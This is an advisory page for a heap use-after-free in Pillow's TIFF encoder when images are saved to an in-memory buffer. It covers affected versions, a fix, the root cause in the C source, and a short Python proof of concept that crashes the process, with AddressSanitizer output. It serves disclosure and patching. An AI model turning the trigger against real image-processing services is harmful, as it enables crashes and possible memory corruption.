---
id: "CVE-2026-112396"
kind: "vulnerability"
aliases: ["CVE-2026-112396", "GHSA-4rr5-89j8-mwwm"]
title: "Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer"
severity: "medium"
cvss: 5.900000095367432
epss: 0.004619999788701534
exploited: false
status: "open"
category: "package"
products: [{"name": "pillow", "fixed": ["13.0.0"], "affected": ">= 11.3.0, < 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-416", "image-processing", "package", "pillow", "python", "thumbnailing"]
not_affected_if: ["file-output-only", "no-tiff-encoding", "no-untrusted-images", "pillow-13.0.0-or-later", "pillow-below-11.3.0"]
published_at: "2026-10-19T22:17:06+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:19+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-4rr5-89j8-mwwm", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112396", "first_seen_at": "2026-10-23T21:57:19+00:00"}]
---

# Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

Pillow's TIFF encoder frees its in-memory output buffer after a libtiff write error, then writes into that freed memory when the encoder is torn down. An application that saves attacker-influenced images as TIFF to an in-memory buffer can be crashed, and the advisory says memory corruption leading to code execution is possible.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pillow affected >= 11.3.0, < 13.0.0 fixed 13.0.0

## How to check

Run pip show pillow and check whether the version is >= 11.3.0 and < 13.0.0.
Search the codebase for TIFF saves to BytesIO or other in-memory targets, e.g. grep -rn "format=\"TIFF\"" and grep -rn "tiffinfo".

## Fix

Upgrade pillow to 13.0.0 or later.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-4rr5-89j8-mwwm
- 2026-10-23T21:57:19+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112396

## From the sources

### Summary
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

### Details
The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):

- `src/libImaging/TiffDecode.c:1041-1046`

Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:

- `src/encode.c:99-101`
- `src/libImaging/TiffDecode.c:955`

`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:

- `src/libImaging/TiffDecode.c:103-115`

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

### PoC
```python
import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor
```

Run it:
```
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with `-fsanitize=address`), relevant frames:
```
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #3 TIFFFlush                      libtiff.so.6
    #5 TIFFClose                      libtiff.so.6
    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
```
The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.

### Impact
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
